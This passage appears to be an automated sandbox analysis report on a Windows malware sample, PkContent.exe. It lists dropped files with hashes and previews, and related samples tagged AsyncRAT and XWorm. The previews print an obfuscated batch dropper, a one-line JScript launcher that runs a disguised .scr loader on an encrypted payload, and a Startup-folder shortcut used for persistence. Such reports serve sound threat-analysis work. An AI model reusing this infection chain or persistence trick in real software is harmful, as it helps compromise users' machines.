	stail.exe.3.exe	Get hash	malicious	Socks5Systemz	Browse	199.232.214.172
	22TxDBB1.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	pyld611114.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	199.232.214.172
	do.ps1	Get hash	malicious	Unknown	Browse	199.232.214.172

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	ldqj18tn.exe	Get hash	malicious	Unknown	Browse
	ldqj18tn.exe	Get hash	malicious	Unknown	Browse
	EO3RT0fEfb.exe	Get hash	malicious	Unknown	Browse
	RMBOriPHVJ.exe	Get hash	malicious	Unknown	Browse
	S6x3K8vzCA.exe	Get hash	malicious	Unknown	Browse
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse
	l5VhEpwzJy.exe	Get hash	malicious	Unknown	Browse
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse
	c2.hta	Get hash	malicious	XWorm	Browse
C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	ldqj18tn.exe	Get hash	malicious	Unknown	Browse
	ldqj18tn.exe	Get hash	malicious	Unknown	Browse
	EO3RT0fEfb.exe	Get hash	malicious	Unknown	Browse
	RMBOriPHVJ.exe	Get hash	malicious	Unknown	Browse
	S6x3K8vzCA.exe	Get hash	malicious	Unknown	Browse
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse
	l5VhEpwzJy.exe	Get hash	malicious	Unknown	Browse
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse
	c2.hta	Get hash	malicious	XWorm	Browse

Created / dropped Files

C:\Users\user~1\AppData\Local\Temp\Hammer.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (811), with CRLF line terminators
Category:	dropped
Size (bytes):	17659
Entropy (8bit):	4.996564903453331
Encrypted:	false
SSDEEP:	384:qG9f41OBFJrXYnH/lQutCtyuZT2Unp1vS8++ZBBgY6V7NS:qpAvCnH9QuNuZDp1RvE7NS
MD5:	F15A876FE95AF76D09E4F26593B4502E
SHA1:	53D14A9F7B44DE6FD9ABA018E0F4738175A4E3A0
SHA-256:	4DDF695422DB24B6917750A923DB6D55E9973A4463CF3B60F0C732D34F7728D1
SHA-512:	CBC944366518FEA910CC685C6AC99CAAFA20FFD91BA8572B5E33FEEB9529CEA6684E83365C5851D6798BCD3DC265E9157AE80E60F56F061C2B78E6C935E48741
Malicious:	false
Preview:	Set Transform=1..cWCQInternationally Fi Vista ..ETsBowling Deborah Present Tried Voyeur Disability Affecting Divine Notebook ..gxROrders Sector Might Alter ..wYSeekers Shirts Studio Flavor ..qbmPmid Signal Somewhat Series Textbooks Placed Trustees Spank Establish ..KPDylan Home Key Bidding Quantitative Cleaning ..Set Basement=N..OzHandbags Nbc Gardens ..RkThreshold Quest Pct Orders Sn Few Mom Stores ..atjAcquisitions Finance Wishlist ..PsnCustom Brass Moisture Emails Faced ..XODhNovember Charged Effect Barry Attention Marshall Ascii ..Set Celebrities= ..cBgSquad Grill Aquarium ..xidWAtm Give Percentage Company June Dh ..PJRCompleting Advanced None Card V Ea Taxes ..OLhrEntering ..MDhAlcohol Villa Computer Pharmacology ..nAuIndustrial Clusters ..LKEeSeasons Traditions Valium Boom Dig Implemented Cherry Successful ..dHTYSummary Majority Displayed Shall Rand ..Set Programming=Y..XfTrim Microphone Ace Feedback ..omlESuccessfully Spies ..lSStarsmerchant Syndication Masturbating Approx Thou

C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\724598\Thermal.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.820012868353575
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+d4a+kEkD5iQERuAcCwPcTFZo5uWAX+d4a+kEkD5iQERuN:RiJBJHonwWD+vkDB+uAcBwFywWD+vkDZ
MD5:	C9B024719DF3364B20A25C209963DEEC
SHA1:	C0BAD4ED77A6338797E5A33924E760209AC44FD7
SHA-256:	EE01E3101C35F73432D3C4443B7C2EEF0F28AFD1B7B442007C33E270283964A5
SHA-512:	9BC72C9A09BF543BE6DEC19E2B89B40C4D1CB29250725F6BA8D0CBA7DD6B4D896EEED134E5A61E2B506A8A24375C17AA43887D615D9481F0F9AF33AFFAAC7E21
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\GuardKey Solutions\\HermesKey.scr\" \"C:\\Users\\user\\AppData\\Local\\GuardKey Solutions\\g\"")

C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\724598\Thermal.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: ldqj18tn.exe, Detection: malicious, Browse Filename: ldqj18tn.exe, Detection: malicious, Browse Filename: EO3RT0fEfb.exe, Detection: malicious, Browse Filename: RMBOriPHVJ.exe, Detection: malicious, Browse Filename: S6x3K8vzCA.exe, Detection: malicious, Browse Filename: PPbimZI4LV.exe, Detection: malicious, Browse Filename: l5VhEpwzJy.exe, Detection: malicious, Browse Filename: duyba.lnk.download.lnk, Detection: malicious, Browse Filename: pt8GJiNZDT.exe, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\GuardKey Solutions\g

Download File

Process:	C:\Users\user\AppData\Local\Temp\724598\Thermal.pif
File Type:	data
Category:	dropped
Size (bytes):	260336
Entropy (8bit):	7.999311838752394
Encrypted:	true
SSDEEP:	6144:SN9qVraESmDT3z3sYoAjxVs3iH96NSO8e91qkeIPC9mq5XF/:iQrskLrHoAjxVs3iH94j9QxAC9J5B
MD5:	A65498AB3A69A64EAD790DB5BB2F48AA
SHA1:	EB8CD723DAB355FF507B356B9286F09B9FFCD968
SHA-256:	9AD27753646F1EEC5009BE7ED43BCDFC4E9AB8DFFC6FE3FF4ADC558A1F32F5CD
SHA-512:	9CFCB7873C3BAD12109A85516EAF62393AA905B5A7FA93E8BC808EF0911070EA89F0E41953E67B45B74409BF0AC046FD7F4A12AB612EDF7BF01A46C459BA1CEF
Malicious:	false
Preview:	]6. I..B.PtP....R.N~..]w}=#..h.b.>JN).....SOxVqn..^......T...m.Nb..P..Kpy...&.........Vd.<2G.....H3.?e...-.iEh.L..#..T4Y.<.s....:.EMr....7.U..G.e.....[.(.Q...~....=7`....Y[E.,V..m.....r..+.....1..(u<.....2.+$Sf.y.S...X.".8N?.Y...[.1.$.!....2..R.........E..r....G./....54.....2./.....V..-....$'.X.i..+{Rd..."{.Ci..:...../&....G.Xjyl_WW.v;...=.h.......K,......o..O .E?b\|D...[.a6D...]....+._H./......u...S.tX...OX.{.\|K....4y..%j7G.P....`.Z.....<%v..:.Z.+[...3f.n.d8g..~^.$..Y.d.E....t4..nq..m...:......$>N../.t(.4q%./\|..<.>~....)..q.,ol%<!...@..K..w.Jw.[..S.H....<KE.Wq.Z..}.G.YH..B3.&q..lU.Rg.4....= .u..pu.....7.G.........r.H.J<Y...4...@.D../....l%.}5X..._..m.\|G.z..`..b6..=B4\.C.3prRs#m...uGoPN.`r.E.H....h..h.).k.....T.@A..g..[.......VS...rf..i.B.1kF.b.G/....`V~.,B.$....p...*...I.~..`.'C..H.....'f..VW;..8k.?....... .W.;.(......}..L'....5#.._Z.h.5.E.:..LX..w.`E>^`f.Y.4.N4.~..J......{..<1.&.0.w ."...:..L.)....;j.R..i....d%....o.nH....udo....S.O.

C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: ldqj18tn.exe, Detection: malicious, Browse Filename: ldqj18tn.exe, Detection: malicious, Browse Filename: EO3RT0fEfb.exe, Detection: malicious, Browse Filename: RMBOriPHVJ.exe, Detection: malicious, Browse Filename: S6x3K8vzCA.exe, Detection: malicious, Browse Filename: PPbimZI4LV.exe, Detection: malicious, Browse Filename: l5VhEpwzJy.exe, Detection: malicious, Browse Filename: duyba.lnk.download.lnk, Detection: malicious, Browse Filename: pt8GJiNZDT.exe, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\724598\y

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	260336
Entropy (8bit):	7.999311838752394
Encrypted:	true
SSDEEP:	6144:SN9qVraESmDT3z3sYoAjxVs3iH96NSO8e91qkeIPC9mq5XF/:iQrskLrHoAjxVs3iH94j9QxAC9J5B
MD5:	A65498AB3A69A64EAD790DB5BB2F48AA
SHA1:	EB8CD723DAB355FF507B356B9286F09B9FFCD968
SHA-256:	9AD27753646F1EEC5009BE7ED43BCDFC4E9AB8DFFC6FE3FF4ADC558A1F32F5CD
SHA-512:	9CFCB7873C3BAD12109A85516EAF62393AA905B5A7FA93E8BC808EF0911070EA89F0E41953E67B45B74409BF0AC046FD7F4A12AB612EDF7BF01A46C459BA1CEF
Malicious:	false
Preview:	]6. I..B.PtP....R.N~..]w}=#..h.b.>JN).....SOxVqn..^......T...m.Nb..P..Kpy...&.........Vd.<2G.....H3.?e...-.iEh.L..#..T4Y.<.s....:.EMr....7.U..G.e.....[.(.Q...~....=7`....Y[E.,V..m.....r..+.....1..(u<.....2.+$Sf.y.S...X.".8N?.Y...[.1.$.!....2..R.........E..r....G./....54.....2./.....V..-....$'.X.i..+{Rd..."{.Ci..:...../&....G.Xjyl_WW.v;...=.h.......K,......o..O .E?b\|D...[.a6D...]....+._H./......u...S.tX...OX.{.\|K....4y..%j7G.P....`.Z.....<%v..:.Z.+[...3f.n.d8g..~^.$..Y.d.E....t4..nq..m...:......$>N../.t(.4q%./\|..<.>~....)..q.,ol%<!...@..K..w.Jw.[..S.H....<KE.Wq.Z..}.G.YH..B3.&q..lU.Rg.4....= .u..pu.....7.G.........r.H.J<Y...4...@.D../....l%.}5X..._..m.\|G.z..`..b6..=B4\.C.3prRs#m...uGoPN.`r.E.H....h..h.).k.....T.@A..g..[.......VS...rf..i.B.1kF.b.G/....`V~.,B.$....p...*...I.~..`.'C..H.....'f..VW;..8k.?....... .W.;.(......}..L'....5#.._Z.h.5.E.:..LX..w.`E>^`f.Y.4.N4.~..J......{..<1.&.0.w ."...:..L.)....;j.R..i....d%....o.nH....udo....S.O.

C:\Users\user\AppData\Local\Temp\Agencies

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.997684559122398
Encrypted:	true
SSDEEP:	1536:IwEPVIU3le9KUpCuF/Rw7B1Ph87++NdnOpL1+2TZMzDfbCjkqmqISfnKu4+Q1P:IwE9/e91xO7fh8akkL1WPCjRmq5vv4+Q
MD5:	975BFC19287C2C5B74A1B228F30F14B0
SHA1:	8F5FEEC00B337529A7E193F452C45F6063AD37A1
SHA-256:	91E28EFACE5E10865887B9A13420B1BFD3A8673255785E3BFC65745DA63D1322
SHA-512:	18D8C41EBCBA5667CB3AC3FA1270D78CAD2FD9E8FC69DD32969B693FEDC6354E3DE12F74830E68B55C6AA7C5A0FBB388599F827CB94D71732231F4EBBF580F85
Malicious:	false
Preview:	D.7y;..\|F..:#>_t.^. S....m....9.]OD...!.....U..wG...}..nk:.?..5..>...=....o.....7....J.....y.S&.....!.m... .....<Y.L\|..5........7R......?...s..x..........e{'..lF....h.&...r..m.Sq.........Hp&/...........;uz...p..MH....#..{1.g....".J0...KO....(.......G.yh......\|.......O...H.w.~./E.H..w.EL.........Z>....N.z.......4.D=.7.]LCvU.dr...._.f...f...7JR.0.s.. ..k.:R.9....\|...vQ2..:....).).z..&......?..w.W.:..)~..<=6.Z+v.[............!.....e0.<..Z..+\.g..D.,......../.].L1`.E..7...-.2..K.m..% VE...9^.c....t....t..-z-.8ZGxpc>.n.z.^,.....Pd..9M..g(..6..........S..`\|..w.....J..5....ODJ.PM.jw....F..y.(^...Q.c..............v.....Y.C)....wBj5<..H...~[:...p........B[.\|h..+}.N.I@..>V....<.NB..K.A.....y..(^.%..,.$.....{.c.......T..s....I..^Co+?...."...@.,..T.W.L@G.6ZT....Kg."...ba...`...qTQ...n......L.%di. .;[B.*hfrdB.....{.Z...w..g.1R-.D8J....0.>.v.1-.ha...6]..'.....Ep.M...q.t..up.....3q/B.7.Yh_....+&..Q.K..w..&)&..9\|.h........vq.FC.`.1.p(t.K...D..!...5.

C:\Users\user\AppData\Local\Temp\Explorer

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	data
Category:	modified
Size (bytes):	59392
Entropy (8bit):	7.99698463424558
Encrypted:	true
SSDEEP:	1536:c4/at9N5gQq5rFSWa39Mp9cBESBESKI2Eux:c4K9NOQq5rpa3ipmBESmSL2Eux
MD5:	01D7374BF51507454392D1081D9B309E
SHA1:	034378159B5F4B6089A95064AEC9FF210DA7C3DF
SHA-256:	EECDD8DFD2DD6D9D1C55077EE6515A9C59D3046112D014B7A5E87FDABB8157A2
SHA-512:	DE64B35BFD2C279A77D552F7C518421BFFCF2F5D14E78FA3F80E21B97AEB5DC287340452D61CA19C9AA5CE426C61EC6605786727D844282AA5457A1D8C4F94F4
Malicious:	false
Preview:	]6. I..B.PtP....R.N~..]w}=#..h.b.>JN).....SOxVqn..^......T...m.Nb..P..Kpy...&.........Vd.<2G.....H3.?e...-.iEh.L..#..T4Y.<.s....:.EMr....7.U..G.e.....[.(.Q...~....=7`....Y[E.,V..m.....r..+.....1..(u<.....2.+$Sf.y.S...X.".8N?.Y...[.1.$.!....2..R.........E..r....G./....54.....2./.....V..-....$'.X.i..+{Rd..."{.Ci..:...../&....G.Xjyl_WW.v;...=.h.......K,......o..O .E?b\|D...[.a6D...]....+._H./......u...S.tX...OX.{.\|K....4y..%j7G.P....`.Z.....<%v..:.Z.+[...3f.n.d8g..~^.$..Y.d.E....t4..nq..m...:......$>N../.t(.4q%./\|..<.>~....)..q.,ol%<!...@..K..w.Jw.[..S.H....<KE.Wq.Z..}.G.YH..B3.&q..lU.Rg.4....= .u..pu.....7.G.........r.H.J<Y...4...@.D../....l%.}5X..._..m.\|G.z..`..b6..=B4\.C.3prRs#m...uGoPN.`r.E.H....h..h.).k.....T.@A..g..[.......VS...rf..i.B.1kF.b.G/....`V~.,B.$....p...*...I.~..`.'C..H.....'f..VW;..8k.?....... .W.;.(......}..L'....5#.._Z.h.5.E.:..LX..w.`E>^`f.Y.4.N4.~..J......{..<1.&.0.w ."...:..L.)....;j.R..i....d%....o.nH....udo....S.O.

C:\Users\user\AppData\Local\Temp\Hammer

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	ASCII text, with very long lines (811), with CRLF line terminators
Category:	dropped
Size (bytes):	17659
Entropy (8bit):	4.996564903453331
Encrypted:	false
SSDEEP:	384:qG9f41OBFJrXYnH/lQutCtyuZT2Unp1vS8++ZBBgY6V7NS:qpAvCnH9QuNuZDp1RvE7NS
MD5:	F15A876FE95AF76D09E4F26593B4502E
SHA1:	53D14A9F7B44DE6FD9ABA018E0F4738175A4E3A0
SHA-256:	4DDF695422DB24B6917750A923DB6D55E9973A4463CF3B60F0C732D34F7728D1
SHA-512:	CBC944366518FEA910CC685C6AC99CAAFA20FFD91BA8572B5E33FEEB9529CEA6684E83365C5851D6798BCD3DC265E9157AE80E60F56F061C2B78E6C935E48741
Malicious:	false
Preview:	Set Transform=1..cWCQInternationally Fi Vista ..ETsBowling Deborah Present Tried Voyeur Disability Affecting Divine Notebook ..gxROrders Sector Might Alter ..wYSeekers Shirts Studio Flavor ..qbmPmid Signal Somewhat Series Textbooks Placed Trustees Spank Establish ..KPDylan Home Key Bidding Quantitative Cleaning ..Set Basement=N..OzHandbags Nbc Gardens ..RkThreshold Quest Pct Orders Sn Few Mom Stores ..atjAcquisitions Finance Wishlist ..PsnCustom Brass Moisture Emails Faced ..XODhNovember Charged Effect Barry Attention Marshall Ascii ..Set Celebrities= ..cBgSquad Grill Aquarium ..xidWAtm Give Percentage Company June Dh ..PJRCompleting Advanced None Card V Ea Taxes ..OLhrEntering ..MDhAlcohol Villa Computer Pharmacology ..nAuIndustrial Clusters ..LKEeSeasons Traditions Valium Boom Dig Implemented Cherry Successful ..dHTYSummary Majority Displayed Shall Rand ..Set Programming=Y..XfTrim Microphone Ace Feedback ..omlESuccessfully Spies ..lSStarsmerchant Syndication Masturbating Approx Thou

C:\Users\user\AppData\Local\Temp\Ought

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	data
Category:	dropped
Size (bytes):	886191
Entropy (8bit):	6.62214375347849
Encrypted:	false
SSDEEP:	12288:SV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:wxz1JMyyzlohMf1tN70aw8501
MD5:	260377B64080B872FFD57234FF7D097E
SHA1:	F9EA953F328A1EC1CAC31AC05A6353AE27519238
SHA-256:	29826DE3343C0A6F753F3CDCC551E755E12059E79B0658BE1048E5F893E1C0D3
SHA-512:	A01A781D352AC7CB98FD17F91DB6114147188519819106D27A183F8BC114713DE8D0E78524DCAB8833187E365F2207DA5E4CD77FC8D787F63B48A04BF17B6DE5
Malicious:	false
Preview:	L.un.=4xL...........h.........Y..................E..}.P. xL......54xL.F.54xL...$xL.....0xL.....9.M..I..O._^..]...j.^3.;.~...$xL....98u#h.....[...Y..t..............3..F;.\|...U..V.u.W....t$j.V..\.I.;Gxs..Ot.......t.91u._^]........U..V.u.W....t$j.V..\.I.;Gds..O`.......t.91u._^]........U..QS3....wL.....V3....wL.@...wL.W.....wL...wL...wL....wL...wL....wL....wL..=.wL....wL....wL....wL....wL.....j.^j\|Xf..wL.3....xL.h.I....xL....xL....xL..=.xL... xL.l.I...$xL...(xL...,xL..50xL...4xL.......8xL...<xL...@xL..=DxL..=HxL...\|xL....xL....xL..=.xL.f..wL..2.......~....]..E.. xL.P....Nu._^..wL.[..].V......\|xL.....c....%.xL....8xL.....b....%@xL... xL........xL........wL........wL.....D...^.U...(SVWh.....*...Y....A......^........xL..}..M.9..wL........E...P..xL.......}....xL..].....8..xL.......p....u.........................................E @....#E .E..@......E..E .E..E..}..............}...........u-j..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E..} .uFj..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E

C:\Users\user\AppData\Local\Temp\Situated

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	data
Category:	dropped
Size (bytes):	10480
Entropy (8bit):	7.983798029647035
Encrypted:	false
SSDEEP:	192:jynff145sxYlJ7FDcxxHHivPT+sefSn+zStbLkJdljKQQkVww:j+Hk7Fiel+zqyl+xkh
MD5:	B5A2CE2534752D3A6033F59C8436D7B6
SHA1:	8E184055AF6E0F7DCD83D832BD565E784A7B8E80
SHA-256:	C142EBC3005012C982B366C6E4B03DB5B477C721EED245592A6F2C585EC314C3
SHA-512:	C2F5480E23FCD32AC7111FC9E507B7660EE551477A1DC18F188BD5796BF29BC93CC10926908F9F6483E906BFC07DDE07BE7223BC0B4B4C5DBC0FA1C0F2D43F2C
Malicious:	false
Preview:	.Lc}.....B.....G?.H...,.~o...3..9.C.Y_.....Z.7...X....i.....42...r/e...L..........M.{......?B.ZwF.U...2).:.~)=?...p.`B~.i...@.l.V......3.15..e.x%_.G.-.........."...0.Q...........I.f.......\%(.o..z?...W......(Zl..y.../.}P.s...K.....O.vT:.(Lk.W.....N...........h....V...cz@@.....^._...C.[.Tz...<...+C+.....H..-...A..n....=CM6T..]..5w+L.......c..v}..Ys..t.7F..l_.0..{D..W....`....2f)\|...$N..n.D....`s...7...O-$.rc?...T+..C..=....L..\.`......oN....(..K..S=.m.....e.6..l..2..H.........6d....$r...z [Z..z...I.[SP[dg....LVN.8.sd.>....]...[,.MS.(..~.#..u6..M...e?...i.H.{.o....Tq..T?...?>.....<.84.;....B1..Q.9.....BcT.@Lr.7{.....=&..j..V.B..<JVu.s.l:.....wzXM..H>n......... 8.d6..;...^.6..E[.\|.NG.AT.6...Z....s..t]w.i....q.Q...$".~q;+......p\|Xx3...(.....F.EB.....6.Tv.,..3,.L\|..1_.V.Y....a.k.b..1.z.?fQw...kM.v......Z.x.1.7(.Ot...........B....'.cm....I....".. ~.....AS_.....5-.nwSu.z.0zY.?.~[.......{....o).*3..l.D..f...A{[.QB........ .+......-....@...W.c...

C:\Users\user\AppData\Local\Temp\Weight

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	data
Category:	dropped
Size (bytes):	7439
Entropy (8bit):	6.20867102662523
Encrypted:	false
SSDEEP:	192:3HAeOqAFDw09CV/2nPvj6DdMP3r1HI5jMlbN+G3j:3HAHhww+/2nlP3r1WAL3j
MD5:	4192BA712A2FDC09914B07D144F06E20
SHA1:	0A3320EEA12B490FD589B9F2CB878579108BE555
SHA-256:	265661FDDDD79AEFCFBA0FC456CF864C05439B8281DA8345D200283F5664A229
SHA-512:	543248B976F061C835329ADBCCBB249922EBEB671BB158D7A0E70284E0FE9D723C18E8A2E4F198202CFA20DC3D0F341EFD4E78C64F4D5E56E8D2A08745417948
Malicious:	false
Preview:	WowLiberalCalOfficer..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B..........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\West

Download File

Process:	C:\Users\user\Desktop\PkContent.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.997882479856261
Encrypted:	true
SSDEEP:	1536:jCFS3z3sTLVmA/uMsH3zK6wrNp9FCLFM1pKOnaJt7ggzNVsFBLiHy4QWQ3NSmFPN:p3z3sTLEA/Kj9S/9p1ajcQVs3iH9Q3Nn
MD5:	B7C64D91870C30F6D27B86C9294CA361
SHA1:	41EA994169F7BEA9752F6BD40D9833D6577EDE49
SHA-256:	91A57858547382FA34E5AAD2A6C8546C4EAEAA32B515693E42E84AD190149A6A
SHA-512:	D6D3625A28A8AB2AAD5E5E80CB10798D3602E0E189D521E4FECBEE4F4015F07E7D2C6F9CDBEC4C9EFCC5C903C3EBAAF9B6ABBF30D615748316992A5C398BC1B6
Malicious:	false
Preview:	..O...`.....L3".....V....0.........B._.........(....98T9......i....Z...\v.........7.nJ.`..m.).O@0."..U...HH..6Mj........#'..?..t....u...QF&+....'....^.!hK..k.h......._H.#E-..&IF3..0`...3>..+i.[.........#...W..lj.c..P..GD.....o....m..Ozt..i.U..P.[.j......q..HR.:.,...c..\|....%..#..=..wd..3..;.......5....>T.....%.mk$.w..+7..u.::.9....q..P..qA..Q(.]......d.5K..k..0.......zy....C...rO.3...W..Hg.@Tc...f..b.T...8\.EA.C..<V.[.Z./.\..8..i...._..X..6.......q.\.1{7'...~v.R.'.....=^.Tc}c.q.........`.8...%...\.D\|.o....Fibpo......L..>.{....E.e....B....V...~cj..t...<@..+..[vP.V....h.NzJI..1.L..O.\."....-hP.......M.......E...W...p... ....;%'w@....K..B. v..m...x.1.....\5...Y/.O.l.....,.C.<.G..U]....%...ba.^..N:....s...dH\|..Y-..k/P......jh..}...Z.kA.IM <O..j-..i....T.X.....K.bS.&....."..$D.}.&q\|.NIo.:.z.y.w...J.....b....3..."M..@.....#.......6.Tc.q..`..r....`..k3.6o.k...o.....z.d...r.o..=Q...f$..~...\|w.Y;...s.....1.N.CA.......5Tgt....x3

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.937514814070938
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYo0nacwRE2J5iQRAcCIPcp:HRYF5yjocNwi23iQRAcPS
MD5:	4E6F60332F394B1CB236BA923FC87B04
SHA1:	A2D06F700B6FE01B536998CE999CBEDCF814F83C
SHA-256:	5CA91FB60E41BB4919437F02D024FBD1BCE308D99354D75163C9AD292023345F
SHA-512:	F2E66BA6F833D7D6C5180928EC9B5B87AC7247AA90E0614F310B6DA4F48690D6AA3147826DD9283198DAA6AE08DFC5C6BDD0B467C6B50130142F7E410F9D6C76
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.3246704923656605
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PkContent.exe
File size:	830'415 bytes
MD5:	87c051a77edc0cc77a4d791ef72367d1
SHA1:	5d5bab642235f0af7d9afe3cacec5ae2a4cfc8e5
SHA256:	b63bf28780e02bf0bb1bb59dec135e6263f4c582724c95eee0519b279022f31c
SHA512:	259a3f823d5051fcc9e87ceacf25557ab17f5d26ff4f0c17801d9ef83a23d2a51261a73e5ba9c3caf1ca2feb18a569458f17a2a5d56b542b86d6a124a42d4c2c
SSDEEP:	12288:FCxMe2dk7YgL+OsQdFGHjaRYf9bquEZ68ufU3wqB2ydPsW/w0bvf:FsMe2KYIDpSO5vZ68FwqB2aPsW3
TLSH:	A80523030FEDC667D1E10EB2183381698AB2F89F05B1E66B43A08F1F3175E459A5A35F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	0103010303030303

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
